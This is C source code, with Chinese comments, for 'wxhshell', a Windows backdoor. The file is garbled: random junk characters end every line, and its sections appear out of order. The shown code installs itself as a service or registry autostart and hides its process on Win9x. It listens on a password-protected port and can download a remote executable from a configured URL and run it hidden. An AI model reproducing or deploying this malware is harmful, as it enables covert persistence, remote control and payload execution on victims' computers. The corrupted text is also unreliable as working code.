PROCNTQSIP NtQueryInformationProcess; (D%vN&F
$1"gFg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L /:^;j`c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \#(1IC`as
SGSyO0O
HANDLE hProcess; n<bU' n
PROCESS_BASIC_INFORMATION pbi; AwXzI;F^
L'r&'y[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z?<B@\~
if(NULL == hInst ) return 0; {j9TzR
sWo}Xq#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <#ON
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;YR/7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ij!d-eM/b
'=vZAV`
if (!NtQueryInformationProcess) return 0; ?5J#
yn
]y6{um8"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J/'Fj?
if(!hProcess) return 0; gkO^J{_@q
~1D^C |%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r) x
bw zx_F/
CloseHandle(hProcess); w")
G:K
)-_^vB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~;3#MAG
if(hProcess==NULL) return 0; IK\~0L;ozE
=X?fA,
HMODULE hMod; U!o7Nw@z
char procName[255]; ;.Bz'Q
unsigned long cbNeeded; ns%gb!FBJX
:-}K:ucaj
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \KnRQtlI
=4MTb_
CloseHandle(hProcess); ]CF-#q}'
ppRmC,0f^
if(strstr(procName,"services")) return 1; // 以服务启动 g5@JA^\vZT
]5jS6@Vl*
return 0; // 注册表启动 KR#,6
} ":$4/b6
s-#EV
// 主模块 c 9f"5~
int StartWxhshell(LPSTR lpCmdLine) r@3-vLI!u
{ {/]2~!
SOCKET wsl; R|8vdZ%@
BOOL val=TRUE; 6&os`!
int port=0; {lWV H
struct sockaddr_in door; m;~} }~&vQ
a5pl/d
if(wscfg.ws_autoins) Install(); vSR&>Q%X
;:D-}t;
port=atoi(lpCmdLine); ;.uYWP|9
#+1|O;PB#
if(port<=0) port=wscfg.ws_port; -n.m "O3
/IWAU)A0
WSADATA data; YK6LJv}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x|a&wC2,{
s{@R|5
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G<e+sDQ2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q13fmK(n-5
door.sin_family = AF_INET; -*'
?D@l
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &N^~=y^`C'
door.sin_port = htons(port); 3_)I&RM
oj djy#:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A,.X
closesocket(wsl); m"9f(
return 1; `f; w
} $_"u2"p
K>DN6{hnV;
if(listen(wsl,2) == INVALID_SOCKET) { Cq!eAc
closesocket(wsl); FE\E%_K'n7
return 1; kw$7G1Q
} ~{I.qv)>M~
Wxhshell(wsl); d <}'eBT'
WSACleanup(); kM506U<g
TI DgIK
return 0; D!~ Y"4<
btuG%D{a^
} Bib<ySCre
mcV<)UA}
// 以NT服务方式启动 8X,6U_>#a
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~pRgTXbz
{ #SHeK 4
DWORD status = 0; RxMsP;be
DWORD specificError = 0xfffffff; *)Qv;'U=rn
Z6zV 9hn
serviceStatus.dwServiceType = SERVICE_WIN32; wtek5C^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \Osu1]Jn>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WiytHuUF
serviceStatus.dwWin32ExitCode = 0; PT2;%=f
serviceStatus.dwServiceSpecificExitCode = 0; L(TM&
ps\-
serviceStatus.dwCheckPoint = 0; P~trxp=k
serviceStatus.dwWaitHint = 0; rw'+2\
'(5GRI<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !"F;wg$
if (hServiceStatusHandle==0) return; ,/w*sE
~(V\.hq
status = GetLastError(); G]>yk_#/\U
if (status!=NO_ERROR) zL
yI|%KH
{ )$n%4 :
serviceStatus.dwCurrentState = SERVICE_STOPPED; /A7( `l;6
serviceStatus.dwCheckPoint = 0; r!Aj5
serviceStatus.dwWaitHint = 0; ~</FF'Xz
serviceStatus.dwWin32ExitCode = status; !1)aie+p6
serviceStatus.dwServiceSpecificExitCode = specificError; ",b:rgpRp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xfc$M(a
K{
return; (L/>LZn|
} &'z_:W m
UTkPA2x
serviceStatus.dwCurrentState = SERVICE_RUNNING; LU:xmDv
serviceStatus.dwCheckPoint = 0; ,R[$S"]!SH
serviceStatus.dwWaitHint = 0; UGPDwgq\v
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vu5?;|^:
} :oIBJ u%/
5tlRrf
// 处理NT服务事件,比如:启动、停止 1tNL)x"w
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Ln`c.C
{ 6HY): M&?
switch(fdwControl) efQ8jO
{ @)U.Dbm
case SERVICE_CONTROL_STOP: U>PZ3
serviceStatus.dwWin32ExitCode = 0; kG>jb!e@(
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;MS.ag#
serviceStatus.dwCheckPoint = 0; ZQfxlzj+X
serviceStatus.dwWaitHint = 0; dVb6u
{ OMLU ;,4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8TP$ ?8l
} 8S1@,O,
return; Pp_4B
case SERVICE_CONTROL_PAUSE: 7S{qo&j'
serviceStatus.dwCurrentState = SERVICE_PAUSED; P-\f-FS
break; -+WAaJ(b
case SERVICE_CONTROL_CONTINUE: {zb'Z Yz
serviceStatus.dwCurrentState = SERVICE_RUNNING; cZh0\DyU
break; .C^P6S2oJ
case SERVICE_CONTROL_INTERROGATE: huC{SzXM
break; +Ryj82;59z
}; G WIsT\J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;b {#$#`=
} =
7y-o
yLC[-.H
// 标准应用程序主函数 |o5eG><
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [inlxJD
{ >-MnB
WN'AQ~qA
// 获取操作系统版本 $@z77td3
OsIsNt=GetOsVer(); U?0|2hR~
GetModuleFileName(NULL,ExeFile,MAX_PATH); H+[?{+"#@l
1 (<n^\J(
// 从命令行安装 eI1zRoIl-
if(strpbrk(lpCmdLine,"iI")) Install(); A%8
Q}s$<s
+_]Ui| l
// 下载执行文件 (]#^q8)]\9
if(wscfg.ws_downexe) { JH.XZM&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P)Adb~r
WinExec(wscfg.ws_filenam,SW_HIDE); h[remR#3\
} PF~@@j
kk=n&M
if(!OsIsNt) { ZsP ^<
// 如果时win9x,隐藏进程并且设置为注册表启动 k$kE5kh,S
HideProc(); HgQjw!
StartWxhshell(lpCmdLine); !eyLh&]5
} ;73S;IPR
else 2)=whnFS
if(StartFromService()) eGEwXza 4
// 以服务方式启动 Jh\KVmfXN
StartServiceCtrlDispatcher(DispatchTable); t=P+m
else qd0G sr}j
// 普通方式启动 1bV
G%N
StartWxhshell(lpCmdLine); Dd?G4xUG
8T3,56>
return 0; g6Vkns4
} "|3I|#s
S\:^#Yi`
[K4cxqlfk
bgzd($)u
=========================================== y<Koc>8
lM\dK)p21O
WESD^FK
bsQ'kBD
NljpkeX'
(ks>F=vk*
" I*-\u
8&@=Anc&q
#include <stdio.h> m^ xTV-#l@
#include <string.h> e)e(f"t6Q
#include <windows.h> qR@ESJ_
#include <winsock2.h> Lvf<g}?4
#include <winsvc.h> ;dzy5o3
#include <urlmon.h> oKn$g[,SJh
1`8s
"T
#pragma comment (lib, "Ws2_32.lib") N?@^BZ
#pragma comment (lib, "urlmon.lib") t1Ts!Q2
d'_q9uf'
#define MAX_USER 100 // 最大客户端连接数 l+Wux$6U
#define BUF_SOCK 200 // sock buffer H(^Ehv>
#define KEY_BUFF 255 // 输入 buffer _`?0w#>0
:qo[@ x{
#define REBOOT 0 // 重启 tiZH;t';<
#define SHUTDOWN 1 // 关机 =IL\T8y09
1GN^uia7
#define DEF_PORT 5000 // 监听端口 FF8jW1
V>Jr4z
#define REG_LEN 16 // 注册表键长度 s@L ;3WdO
#define SVC_LEN 80 // NT服务名长度 #*A&jo'E
LDg9@esi
// 从dll定义API &E`Nu (e
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b~^'P
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /O[6PG
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2c Xae
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VN)WBv
vsI;ooR>
// wxhshell配置信息 R2)@Q
struct WSCFG { C@qWour
int ws_port; // 监听端口 EE'2<"M
char ws_passstr[REG_LEN]; // 口令 #4AU&UM+i
int ws_autoins; // 安装标记, 1=yes 0=no ]O|>nTa
char ws_regname[REG_LEN]; // 注册表键名 0/QDfA?
char ws_svcname[REG_LEN]; // 服务名 >v,X:B?+FL
char ws_svcdisp[SVC_LEN]; // 服务显示名 od!44p]
char ws_svcdesc[SVC_LEN]; // 服务描述信息 7@{%S~TN
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^JY {<
int ws_downexe; // 下载执行标记, 1=yes 0=no !{l% 3'2
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?c8~VQaQ
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _f!ko<52
VESvCei
}; xC<